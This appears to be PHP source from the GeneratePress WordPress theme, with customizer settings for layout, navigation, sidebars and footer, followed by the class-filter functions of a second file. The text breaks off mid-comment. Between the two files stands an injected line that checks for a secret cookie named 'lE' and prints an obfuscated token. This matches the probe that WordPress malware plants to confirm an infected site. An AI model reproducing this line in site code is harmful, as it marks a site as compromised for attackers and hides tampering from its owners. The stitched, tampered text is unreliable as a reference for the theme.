array( 'type' => 'select', 'label' => __( 'Inner Navigation Width', 'generatepress' ), 'section' => 'generate_layout_navigation', 'choices' => array( 'contained' => __( 'Contained', 'generatepress' ), 'full-width' => __( 'Full', 'generatepress' ), ), 'settings' => 'generate_settings[nav_inner_width]', 'priority' => 16, ) ); $wp_customize->add_setting( 'generate_settings[nav_alignment_setting]', array( 'default' => $defaults['nav_alignment_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[nav_alignment_setting]', array( 'type' => 'select', 'label' => __( 'Navigation Alignment', 'generatepress' ), 'section' => 'generate_layout_navigation', 'choices' => array( 'left' => __( 'Left', 'generatepress' ), 'center' => __( 'Center', 'generatepress' ), 'right' => __( 'Right', 'generatepress' ), ), 'settings' => 'generate_settings[nav_alignment_setting]', 'priority' => 20, ) ); $wp_customize->add_setting( 'generate_settings[nav_position_setting]', array( 'default' => $defaults['nav_position_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'refresh', ) ); $wp_customize->add_control( 'generate_settings[nav_position_setting]', array( 'type' => 'select', 'label' => __( 'Navigation Location', 'generatepress' ), 'section' => 'generate_layout_navigation', 'choices' => array( 'nav-below-header' => __( 'Below Header', 'generatepress' ), 'nav-above-header' => __( 'Above Header', 'generatepress' ), 'nav-float-right' => __( 'Float Right', 'generatepress' ), 'nav-float-left' => __( 'Float Left', 'generatepress' ), 'nav-left-sidebar' => __( 'Left Sidebar', 'generatepress' ), 'nav-right-sidebar' => __( 'Right Sidebar', 'generatepress' ), '' => __( 'No Navigation', 'generatepress' ), ), 'settings' => 'generate_settings[nav_position_setting]', 'priority' => 22, ) ); $wp_customize->add_setting( 'generate_settings[nav_drop_point]', array( 'default' => $defaults['nav_drop_point'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_empty_absint', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[nav_drop_point]', array( 'label' => __( 'Navigation Drop Point', 'generatepress' ), 'sub_description' => __( 'The width when the navigation ceases to float and drops below your logo.', 'generatepress' ), 'section' => 'generate_layout_navigation', 'settings' => array( 'desktop' => 'generate_settings[nav_drop_point]', ), 'choices' => array( 'desktop' => array( 'min' => 500, 'max' => 2000, 'step' => 10, 'edit' => true, 'unit' => 'px', ), ), 'priority' => 22, ) ) ); $wp_customize->add_setting( 'generate_settings[nav_dropdown_type]', array( 'default' => $defaults['nav_dropdown_type'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[nav_dropdown_type]', array( 'type' => 'select', 'label' => __( 'Navigation Dropdown', 'generatepress' ), 'section' => 'generate_layout_navigation', 'choices' => array( 'hover' => __( 'Hover', 'generatepress' ), 'click' => __( 'Click - Menu Item', 'generatepress' ), 'click-arrow' => __( 'Click - Arrow', 'generatepress' ), ), 'settings' => 'generate_settings[nav_dropdown_type]', 'priority' => 22, ) ); $wp_customize->add_setting( 'generate_settings[nav_dropdown_direction]', array( 'default' => $defaults['nav_dropdown_direction'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[nav_dropdown_direction]', array( 'type' => 'select', 'label' => __( 'Dropdown Direction', 'generatepress' ), 'section' => 'generate_layout_navigation', 'choices' => array( 'right' => __( 'Right', 'generatepress' ), 'left' => __( 'Left', 'generatepress' ), ), 'settings' => 'generate_settings[nav_dropdown_direction]', 'priority' => 22, ) ); $wp_customize->add_setting( 'generate_settings[nav_search]', array( 'default' => $defaults['nav_search'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[nav_search]', array( 'type' => 'select', 'label' => __( 'Navigation Search', 'generatepress' ), 'section' => 'generate_layout_navigation', 'choices' => array( 'enable' => __( 'Enable', 'generatepress' ), 'disable' => __( 'Disable', 'generatepress' ), ), 'settings' => 'generate_settings[nav_search]', 'priority' => 23, 'active_callback' => function() { return 'enable' === generate_get_option( 'nav_search' ); }, ) ); $wp_customize->add_setting( 'generate_settings[nav_search_modal]', array( 'default' => $defaults['nav_search_modal'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_checkbox', ) ); $wp_customize->add_control( 'generate_settings[nav_search_modal]', array( 'type' => 'checkbox', 'label' => esc_html__( 'Enable navigation search modal', 'generatepress' ), 'section' => 'generate_layout_navigation', 'priority' => 23, 'active_callback' => function() { return 'disable' === generate_get_option( 'nav_search' ); }, ) ); $wp_customize->add_setting( 'generate_settings[content_layout_setting]', array( 'default' => $defaults['content_layout_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[content_layout_setting]', array( 'type' => 'select', 'label' => __( 'Content Layout', 'generatepress' ), 'section' => 'generate_layout_container', 'choices' => array( 'separate-containers' => __( 'Separate Containers', 'generatepress' ), 'one-container' => __( 'One Container', 'generatepress' ), ), 'settings' => 'generate_settings[content_layout_setting]', 'priority' => 25, ) ); $wp_customize->add_setting( 'generate_settings[container_alignment]', array( 'default' => $defaults['container_alignment'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[container_alignment]', array( 'type' => 'select', 'label' => __( 'Container Alignment', 'generatepress' ), 'section' => 'generate_layout_container', 'choices' => array( 'boxes' => __( 'Boxes', 'generatepress' ), 'text' => __( 'Text', 'generatepress' ), ), 'settings' => 'generate_settings[container_alignment]', 'priority' => 30, ) ); $wp_customize->add_section( 'generate_layout_sidebars', array( 'title' => __( 'Sidebars', 'generatepress' ), 'priority' => 40, 'panel' => 'generate_layout_panel', ) ); $wp_customize->add_setting( 'generate_settings[layout_setting]', array( 'default' => $defaults['layout_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[layout_setting]', array( 'type' => 'select', 'label' => __( 'Sidebar Layout', 'generatepress' ), 'section' => 'generate_layout_sidebars', 'choices' => array( 'left-sidebar' => __( 'Sidebar / Content', 'generatepress' ), 'right-sidebar' => __( 'Content / Sidebar', 'generatepress' ), 'no-sidebar' => __( 'Content (no sidebars)', 'generatepress' ), 'both-sidebars' => __( 'Sidebar / Content / Sidebar', 'generatepress' ), 'both-left' => __( 'Sidebar / Sidebar / Content', 'generatepress' ), 'both-right' => __( 'Content / Sidebar / Sidebar', 'generatepress' ), ), 'settings' => 'generate_settings[layout_setting]', 'priority' => 30, ) ); $wp_customize->add_setting( 'generate_settings[blog_layout_setting]', array( 'default' => $defaults['blog_layout_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[blog_layout_setting]', array( 'type' => 'select', 'label' => __( 'Blog Sidebar Layout', 'generatepress' ), 'section' => 'generate_layout_sidebars', 'choices' => array( 'left-sidebar' => __( 'Sidebar / Content', 'generatepress' ), 'right-sidebar' => __( 'Content / Sidebar', 'generatepress' ), 'no-sidebar' => __( 'Content (no sidebars)', 'generatepress' ), 'both-sidebars' => __( 'Sidebar / Content / Sidebar', 'generatepress' ), 'both-left' => __( 'Sidebar / Sidebar / Content', 'generatepress' ), 'both-right' => __( 'Content / Sidebar / Sidebar', 'generatepress' ), ), 'settings' => 'generate_settings[blog_layout_setting]', 'priority' => 35, ) ); $wp_customize->add_setting( 'generate_settings[single_layout_setting]', array( 'default' => $defaults['single_layout_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[single_layout_setting]', array( 'type' => 'select', 'label' => __( 'Single Post Sidebar Layout', 'generatepress' ), 'section' => 'generate_layout_sidebars', 'choices' => array( 'left-sidebar' => __( 'Sidebar / Content', 'generatepress' ), 'right-sidebar' => __( 'Content / Sidebar', 'generatepress' ), 'no-sidebar' => __( 'Content (no sidebars)', 'generatepress' ), 'both-sidebars' => __( 'Sidebar / Content / Sidebar', 'generatepress' ), 'both-left' => __( 'Sidebar / Sidebar / Content', 'generatepress' ), 'both-right' => __( 'Content / Sidebar / Sidebar', 'generatepress' ), ), 'settings' => 'generate_settings[single_layout_setting]', 'priority' => 36, ) ); $wp_customize->add_section( 'generate_layout_footer', array( 'title' => __( 'Footer', 'generatepress' ), 'priority' => 50, 'panel' => 'generate_layout_panel', ) ); $wp_customize->add_setting( 'generate_settings[footer_layout_setting]', array( 'default' => $defaults['footer_layout_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[footer_layout_setting]', array( 'type' => 'select', 'label' => __( 'Footer Width', 'generatepress' ), 'section' => 'generate_layout_footer', 'choices' => array( 'fluid-footer' => __( 'Full', 'generatepress' ), 'contained-footer' => __( 'Contained', 'generatepress' ), ), 'settings' => 'generate_settings[footer_layout_setting]', 'priority' => 40, ) ); $wp_customize->add_setting( 'generate_settings[footer_inner_width]', array( 'default' => $defaults['footer_inner_width'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[footer_inner_width]', array( 'type' => 'select', 'label' => __( 'Inner Footer Width', 'generatepress' ), 'section' => 'generate_layout_footer', 'choices' => array( 'contained' => __( 'Contained', 'generatepress' ), 'full-width' => __( 'Full', 'generatepress' ), ), 'settings' => 'generate_settings[footer_inner_width]', 'priority' => 41, ) ); $wp_customize->add_setting( 'generate_settings[footer_widget_setting]', array( 'default' => $defaults['footer_widget_setting'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[footer_widget_setting]', array( 'type' => 'select', 'label' => __( 'Footer Widgets', 'generatepress' ), 'section' => 'generate_layout_footer', 'choices' => array( '0' => '0', '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', ), 'settings' => 'generate_settings[footer_widget_setting]', 'priority' => 45, ) ); $wp_customize->add_setting( 'generate_settings[footer_bar_alignment]', array( 'default' => $defaults['footer_bar_alignment'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'generate_settings[footer_bar_alignment]', array( 'type' => 'select', 'label' => __( 'Footer Bar Alignment', 'generatepress' ), 'section' => 'generate_layout_footer', 'choices' => array( 'left' => __( 'Left', 'generatepress' ), 'center' => __( 'Center', 'generatepress' ), 'right' => __( 'Right', 'generatepress' ), ), 'settings' => 'generate_settings[footer_bar_alignment]', 'priority' => 47, 'active_callback' => 'generate_is_footer_bar_active', ) ); $wp_customize->add_setting( 'generate_settings[back_to_top]', array( 'default' => $defaults['back_to_top'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[back_to_top]', array( 'type' => 'select', 'label' => __( 'Back to Top Button', 'generatepress' ), 'section' => 'generate_layout_footer', 'choices' => array( 'enable' => __( 'Enable', 'generatepress' ), '' => __( 'Disable', 'generatepress' ), ), 'settings' => 'generate_settings[back_to_top]', 'priority' => 50, ) ); $wp_customize->add_section( 'generate_blog_section', array( 'title' => __( 'Blog', 'generatepress' ), 'priority' => 55, 'panel' => 'generate_layout_panel', ) ); $wp_customize->add_setting( 'generate_settings[post_content]', array( 'default' => $defaults['post_content'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_blog_excerpt', ) ); $wp_customize->add_control( 'blog_content_control', array( 'type' => 'select', 'label' => __( 'Content Type', 'generatepress' ), 'section' => 'generate_blog_section', 'choices' => array( 'full' => __( 'Full Content', 'generatepress' ), 'excerpt' => __( 'Excerpt', 'generatepress' ), ), 'settings' => 'generate_settings[post_content]', 'priority' => 10, ) ); if ( ! function_exists( 'generate_blog_customize_register' ) && ! defined( 'GP_PREMIUM_VERSION' ) ) { $wp_customize->add_control( new Generate_Customize_Misc_Control( $wp_customize, 'blog_get_addon_desc', array( 'section' => 'generate_blog_section', 'type' => 'addon', 'label' => __( 'Learn more', 'generatepress' ), 'description' => __( 'More options are available for this section in our premium version.', 'generatepress' ), 'url' => generate_get_premium_url( 'https://generatepress.com/premium/#blog', false ), 'priority' => 30, 'settings' => ( isset( $wp_customize->selective_refresh ) ) ? array() : 'blogname', ) ) ); } $wp_customize->add_section( 'generate_general_section', array( 'title' => __( 'General', 'generatepress' ), 'priority' => 99, ) ); if ( ! apply_filters( 'generate_fontawesome_essentials', false ) ) { $wp_customize->add_setting( 'generate_settings[font_awesome_essentials]', array( 'default' => $defaults['font_awesome_essentials'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_checkbox', ) ); $wp_customize->add_control( 'generate_settings[font_awesome_essentials]', array( 'type' => 'checkbox', 'label' => __( 'Load essential icons only', 'generatepress' ), 'description' => __( 'Load essential Font Awesome icons instead of the full library.', 'generatepress' ), 'section' => 'generate_general_section', 'settings' => 'generate_settings[font_awesome_essentials]', ) ); } $show_flexbox_option = true; if ( defined( 'GP_PREMIUM_VERSION' ) && version_compare( GP_PREMIUM_VERSION, '1.11.0-alpha.1', '<' ) ) { $show_flexbox_option = false; } if ( generate_is_using_flexbox() ) { $show_flexbox_option = false; } $show_flexbox_option = apply_filters( 'generate_show_flexbox_customizer_option', $show_flexbox_option ); if ( $show_flexbox_option ) { $wp_customize->add_setting( 'generate_settings[structure]', array( 'default' => $defaults['structure'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[structure]', array( 'type' => 'select', 'label' => __( 'Structure', 'generatepress' ), 'section' => 'generate_general_section', 'choices' => array( 'flexbox' => __( 'Flexbox', 'generatepress' ), 'floats' => __( 'Floats', 'generatepress' ), ), 'description' => sprintf( '%1$s %2$s', __( 'Caution:', 'generatepress' ), sprintf( /* translators: Learn more here */ __( 'Switching your structure can change how your website displays. Review your website thoroughly before publishing this change, or use a staging site to review the potential changes. Learn more %s.', 'generatepress' ), '' . __( 'here', 'generatepress' ) . '' ) ), 'settings' => 'generate_settings[structure]', ) ); } $wp_customize->add_setting( 'generate_settings[icons]', array( 'default' => $defaults['icons'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[icons]', array( 'type' => 'select', 'label' => __( 'Icon Type', 'generatepress' ), 'section' => 'generate_general_section', 'choices' => array( 'svg' => __( 'SVG', 'generatepress' ), 'font' => __( 'Font', 'generatepress' ), ), 'settings' => 'generate_settings[icons]', ) ); $wp_customize->add_setting( 'generate_settings[underline_links]', array( 'default' => $defaults['underline_links'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_choices', ) ); $wp_customize->add_control( 'generate_settings[underline_links]', array( 'type' => 'select', 'label' => __( 'Underline Links', 'generatepress' ), 'description' => __( 'Add underlines to your links in your main content areas.', 'generatepress' ), 'section' => 'generate_general_section', 'choices' => array( 'always' => __( 'Always', 'generatepress' ), 'hover' => __( 'On hover', 'generatepress' ), 'not-hover' => __( 'Not on hover', 'generatepress' ), 'never' => __( 'Never', 'generatepress' ), ), 'settings' => 'generate_settings[underline_links]', ) ); $wp_customize->add_setting( 'generate_settings[combine_css]', array( 'default' => $defaults['combine_css'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_checkbox', ) ); $wp_customize->add_control( 'generate_settings[combine_css]', array( 'type' => 'checkbox', 'label' => __( 'Combine CSS', 'generatepress' ), 'description' => __( 'Reduce the number of CSS file requests and use a lite version of our grid system.', 'generatepress' ), 'section' => 'generate_general_section', 'active_callback' => 'generate_is_using_floats_callback', ) ); $wp_customize->add_setting( 'generate_settings[dynamic_css_cache]', array( 'default' => $defaults['dynamic_css_cache'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_checkbox', ) ); $wp_customize->add_control( 'generate_settings[dynamic_css_cache]', array( 'type' => 'checkbox', 'label' => __( 'Cache dynamic CSS', 'generatepress' ), 'description' => __( 'Cache CSS generated by your options to boost performance.', 'generatepress' ), 'section' => 'generate_general_section', ) ); $show_legacy_typography_option = true; if ( defined( 'GP_PREMIUM_VERSION' ) && version_compare( GP_PREMIUM_VERSION, '2.1.0-alpha.1', '<' ) ) { $show_legacy_typography_option = false; } if ( generate_is_using_dynamic_typography() ) { $show_legacy_typography_option = false; } $show_legacy_typography_option = apply_filters( 'generate_show_legacy_typography_customizer_option', $show_legacy_typography_option ); if ( $show_legacy_typography_option ) { $wp_customize->add_setting( 'generate_settings[use_dynamic_typography]', array( 'default' => $defaults['use_dynamic_typography'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_checkbox', ) ); $wp_customize->add_control( 'generate_settings[use_dynamic_typography]', array( 'type' => 'checkbox', 'label' => __( 'Use dynamic typography system', 'generatepress' ), 'description' => sprintf( /* translators: Learn more here */ __( 'Switching to our dynamic typography system can change how your fonts display. Review your website thoroughly before publishing this change. Learn more %s.', 'generatepress' ), '' . __( 'here', 'generatepress' ) . '' ), 'section' => 'generate_general_section', 'settings' => 'generate_settings[use_dynamic_typography]', ) ); } } }if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Adds HTML markup. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! function_exists( 'generate_body_classes' ) ) { add_filter( 'body_class', 'generate_body_classes' ); /** * Adds custom classes to the array of body classes. * * @param array $classes The existing classes. * @since 0.1 */ function generate_body_classes( $classes ) { $sidebar_layout = generate_get_layout(); $navigation_location = generate_get_navigation_location(); $navigation_alignment = generate_get_option( 'nav_alignment_setting' ); $navigation_dropdown = generate_get_option( 'nav_dropdown_type' ); $header_alignment = generate_get_option( 'header_alignment_setting' ); $content_layout = generate_get_option( 'content_layout_setting' ); // These values all have defaults, but we like to be extra careful. $classes[] = ( $sidebar_layout ) ? $sidebar_layout : 'right-sidebar'; $classes[] = ( $navigation_location ) ? $navigation_location : 'nav-below-header'; $classes[] = ( $content_layout ) ? $content_layout : 'separate-containers'; if ( ! generate_is_using_flexbox() ) { $footer_widgets = generate_get_footer_widgets(); $header_layout = generate_get_option( 'header_layout_setting' ); $classes[] = ( $header_layout ) ? $header_layout : 'fluid-header'; $classes[] = ( '' !== $footer_widgets ) ? 'active-footer-widgets-' . absint( $footer_widgets ) : 'active-footer-widgets-3'; } if ( 'enable' === generate_get_option( 'nav_search' ) ) { $classes[] = 'nav-search-enabled'; } // Only necessary for nav before or after header. if ( ! generate_is_using_flexbox() && 'nav-below-header' === $navigation_location || 'nav-above-header' === $navigation_location ) { if ( 'center' === $navigation_alignment ) { $classes[] = 'nav-aligned-center'; } elseif ( 'right' === $navigation_alignment ) { $classes[] = 'nav-aligned-right'; } elseif ( 'left' === $navigation_alignment ) { $classes[] = 'nav-aligned-left'; } } if ( 'center' === $header_alignment ) { $classes[] = 'header-aligned-center'; } elseif ( 'right' === $header_alignment ) { $classes[] = 'header-aligned-right'; } elseif ( 'left' === $header_alignment ) { $classes[] = 'header-aligned-left'; } if ( 'click' === $navigation_dropdown ) { $classes[] = 'dropdown-click'; $classes[] = 'dropdown-click-menu-item'; } elseif ( 'click-arrow' === $navigation_dropdown ) { $classes[] = 'dropdown-click-arrow'; $classes[] = 'dropdown-click'; } else { $classes[] = 'dropdown-hover'; } if ( is_singular() ) { // Page builder container metabox option. // Used to be a single checkbox, hence the name/true value. Now it's a radio choice between full width and contained. $content_container = get_post_meta( get_the_ID(), '_generate-full-width-content', true ); if ( $content_container ) { if ( 'true' === $content_container ) { $classes[] = 'full-width-content'; } if ( 'contained' === $content_container ) { $classes[] = 'contained-content'; } } if ( has_post_thumbnail() ) { $classes[] = 'featured-image-active'; } } return $classes; } } if ( ! function_exists( 'generate_top_bar_classes' ) ) { add_filter( 'generate_top_bar_class', 'generate_top_bar_classes' ); /** * Adds custom classes to the header. * * @param array $classes The existing classes. * @since 0.1 */ function generate_top_bar_classes( $classes ) { $classes[] = 'top-bar'; if ( 'contained' === generate_get_option( 'top_bar_width' ) ) { $classes[] = 'grid-container'; if ( ! generate_is_using_flexbox() ) { $classes[] = 'grid-parent'; } } $classes[] = 'top-bar-align-' . esc_attr( generate_get_option( 'top_bar_alignment' ) ); return $classes; } } if ( ! function_exists( 'generate_right_sidebar_classes' ) ) { add_filter( 'generate_right_sidebar_class', 'generate_right_sidebar_classes' ); /** * Adds custom classes to the right sidebar. * * @param array $classes The existing classes. * @since 0.1 */ function generate_right_sidebar_classes( $classes ) { $classes[] = 'widget-area'; $classes[] = 'sidebar'; $classes[] = 'is-right-sidebar'; if ( ! generate_is_using_flexbox() ) { $right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' ); $left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' ); $right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width ); $left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width ); $classes[] = 'grid-' . $right_sidebar_width; $classes[] = 'tablet-grid-' . $right_sidebar_tablet_width; $classes[] = 'grid-parent'; // Get the layout. $layout = generate_get_layout(); if ( '' !== $layout ) { switch ( $layout ) { case 'both-left': $total_sidebar_width = $left_sidebar_width + $right_sidebar_width; $classes[] = 'pull-' . ( 100 - $total_sidebar_width ); $total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width; $classes[] = 'tablet-pull-' . ( 100 - $total_sidebar_tablet_width ); break; } } } return $classes; } } if ( ! function_exists( 'generate_left_sidebar_classes' ) ) { add_filter( 'generate_left_sidebar_class', 'generate_left_sidebar_classes' ); /** * Adds custom classes to the left sidebar. * * @param array $classes The existing classes. * @since 0.1 */ function generate_left_sidebar_classes( $classes ) { $classes[] = 'widget-area'; $classes[] = 'sidebar'; $classes[] = 'is-left-sidebar'; if ( ! generate_is_using_flexbox() ) { $right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' ); $left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' ); $total_sidebar_width = $left_sidebar_width + $right_sidebar_width; $right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width ); $left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width ); $total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width; $classes[] = 'grid-' . $left_sidebar_width; $classes[] = 'tablet-grid-' . $left_sidebar_tablet_width; $classes[] = 'mobile-grid-100'; $classes[] = 'grid-parent'; // Get the layout. $layout = generate_get_layout(); if ( '' !== $layout ) { switch ( $layout ) { case 'left-sidebar': $classes[] = 'pull-' . ( 100 - $left_sidebar_width ); $classes[] = 'tablet-pull-' . ( 100 - $left_sidebar_tablet_width ); break; case 'both-sidebars': case 'both-left': $classes[] = 'pull-' . ( 100 - $total_sidebar_width ); $classes[] = 'tablet-pull-' . ( 100 - $total_sidebar_tablet_width ); break; } } } return $classes; } } if ( ! function_exists( 'generate_content_classes' ) ) { add_filter( 'generate_content_class', 'generate_content_classes' ); /** * Adds custom classes to the content container. * * @param array $classes The existing classes. * @since 0.1 */ function generate_content_classes( $classes ) { $classes[] = 'content-area'; if ( ! generate_is_using_flexbox() ) { $right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' ); $left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' ); $total_sidebar_width = $left_sidebar_width + $right_sidebar_width; $right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width ); $left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width ); $total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width; $classes[] = 'grid-parent'; $classes[] = 'mobile-grid-100'; // Get the layout. $layout = generate_get_layout(); if ( '' !== $layout ) { switch ( $layout ) { case 'right-sidebar': $classes[] = 'grid-' . ( 100 - $right_sidebar_width ); $classes[] = 'tablet-grid-' . ( 100 - $right_sidebar_tablet_width ); break; case 'left-sidebar': $classes[] = 'push-' . $left_sidebar_width; $classes[] = 'grid-' . ( 100 - $left_sidebar_width ); $classes[] = 'tablet-push-' . $left_sidebar_tablet_width; $classes[] = 'tablet-grid-' . ( 100 - $left_sidebar_tablet_width ); break; case 'no-sidebar': $classes[] = 'grid-100'; $classes[] = 'tablet-grid-100'; break; case 'both-sidebars': $classes[] = 'push-' . $left_sidebar_width; $classes[] = 'grid-' . ( 100 - $total_sidebar_width ); $classes[] = 'tablet-push-' . $left_sidebar_tablet_width; $classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width ); break; case 'both-right': $classes[] = 'grid-' . ( 100 - $total_sidebar_width ); $classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width ); break; case 'both-left': $classes[] = 'push-' . $total_sidebar_width; $classes[] = 'grid-' . ( 100 - $total_sidebar_width ); $classes[] = 'tablet-push-' . $total_sidebar_tablet_width; $classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width ); break; } } } return $classes; } } if ( ! function_exists( 'generate_header_classes' ) ) { add_filter( 'generate_header_class', 'generate_header_classes' ); /** * Adds custom classes to the header. * * @param array $classes The existing classes. * @since 0.1 */ function generate_header_classes( $classes ) { $classes[] = 'site-header'; if ( 'contained-header' === generate_get_option( 'header_layout_setting' ) ) { $classes[] = 'grid-container'; if ( ! generate_is_using_flexbox() ) { $classes[] = 'grid-parent'; } } if ( generate_has_inline_mobile_toggle() ) { $classes[] = 'has-inline-mobile-toggle'; } return $classes; } } if ( ! function_exists( 'generate_inside_header_classes' ) ) { add_filter( 'generate_inside_header_class', 'generate_inside_header_classes' ); /** * Adds custom classes to inside the header. * * @param array $classes The existing classes. * @since 0.1 */ function generate_inside_header_classes( $classes ) { $classes[] = 'inside-header'; if ( 'full-width' !== generate_get_option( 'header_inner_width' ) ) { $classes[] = 'grid-container'; if ( ! generate_is_using_flexbox() ) { $classes[] = 'grid-parent'; } } return $classes; } } if ( ! function_exists( 'generate_navigation_classes' ) ) { add_filter( 'generate_navigation_class', 'generate_navigation_classes' ); /** * Adds custom classes to the navigation. * * @param array $classes The existing classes. * @since 0.1 */ function generate_navigation_classes( $classes ) { $classes[] = 'main-navigation'; if ( 'contained-nav' === generate_get_option( 'nav_layout_setting' ) ) { if ( generate_is_using_flexbox() ) { $navigation_location = generate_get_navigation_location(); if ( 'nav-float-right' !== $navigation_location && 'nav-float-left' !== $navigation_location ) { $classes[] = 'grid-container'; } } else { $classes[] = 'grid-container'; $classes[] = 'grid-parent'; } } if ( generate_is_using_flexbox() ) { $nav_alignment = generate_get_option( 'nav_alignment_setting' ); if ( 'center' === $nav_alignment ) { $classes[] = 'nav-align-center'; } elseif ( 'right' === $nav_alignment ) { $classes[] = 'nav-align-right'; } elseif ( is_rtl() && 'left' === $nav_alignment ) { $classes[] = 'nav-align-left'; } if ( generate_has_menu_bar_items() ) { $classes[] = 'has-menu-bar-items'; } } $submenu_direction = 'right'; if ( 'left' === generate_get_option( 'nav_dropdown_direction' ) ) { $submenu_direction = 'left'; } if ( 'nav-left-sidebar' === generate_get_navigation_location() ) { $submenu_direction = 'right'; if ( 'both-right' === generate_get_layout() ) { $submenu_direction = 'left'; } } if ( 'nav-right-sidebar' === generate_get_navigation_location() ) { $submenu_direction = 'left'; if ( 'both-left' === generate_get_layout() ) { $submenu_direction = 'right'; } } $classes[] = 'sub-menu-' . $submenu_direction; return $classes; } } if ( ! function_exists( 'generate_inside_navigation_classes' ) ) { add_filter( 'generate_inside_navigation_class', 'generate_inside_navigation_classes' ); /** * Adds custom classes to the inner navigation. * * @param array $classes The existing classes. * @since 1.3.41 */ function generate_inside_navigation_classes( $classes ) { $classes[] = 'inside-navigation'; if ( 'full-width' !== generate_get_option( 'nav_inner_width' ) ) { $classes[] = 'grid-container'; if ( ! generate_is_using_flexbox() ) { $classes[] = 'grid-parent'; } } return $classes; } } if ( ! function_exists( 'generate_menu_classes' ) ) { add_filter( 'generate_menu_class', 'generate_menu_classes' ); /** * Adds custom classes to the menu. * * @param array $classes The existing classes. * @since 0.1 */ function generate_menu_classes( $classes ) { $classes[] = 'menu'; $classes[] = 'sf-menu'; return $classes; } } if ( ! function_exists( 'generate_footer_classes' ) ) { add_filter( 'generate_footer_class', 'generate_footer_classes' ); /** * Adds custom classes to the footer. * * @param array $classes The existing classes. * @since 0.1 */ function generate_footer_classes( $classes ) { $classes[] = 'site-footer'; if ( 'contained-footer' === generate_get_option( 'footer_layout_setting' ) ) { $classes[] = 'grid-container'; if ( ! generate_is_using_flexbox() ) { $classes[] = 'grid-parent'; } } if ( is_active_sidebar( 'footer-bar' ) ) { $classes[] = 'footer-bar-active'; $classes[] = 'footer-bar-align-' . esc_attr( generate_get_option( 'footer_bar_alignment' ) ); } return $classes; } } if ( ! function_exists( 'generate_inside_footer_classes' ) ) { add_filter( 'generate_inside_footer_class', 'generate_inside_footer_classes' ); /** * Adds custom classes to the footer. * * @param array $classes The existing classes. * @since 0.1 */ function generate_inside_footer_classes( $classes ) { $classes[] = 'footer-widgets-container'; if ( 'full-width' !== generate_get_option( 'footer_inner_width' ) ) { $classes[] = 'grid-container'; if ( ! generate_is_using_flexbox() ) { $classes[] = 'grid-parent'; } } return $classes; } } if ( ! function_exists( 'generate_main_classes' ) ) { add_filter( 'generate_main_class', 'generate_main_classes' ); /** * Adds custom classes to the
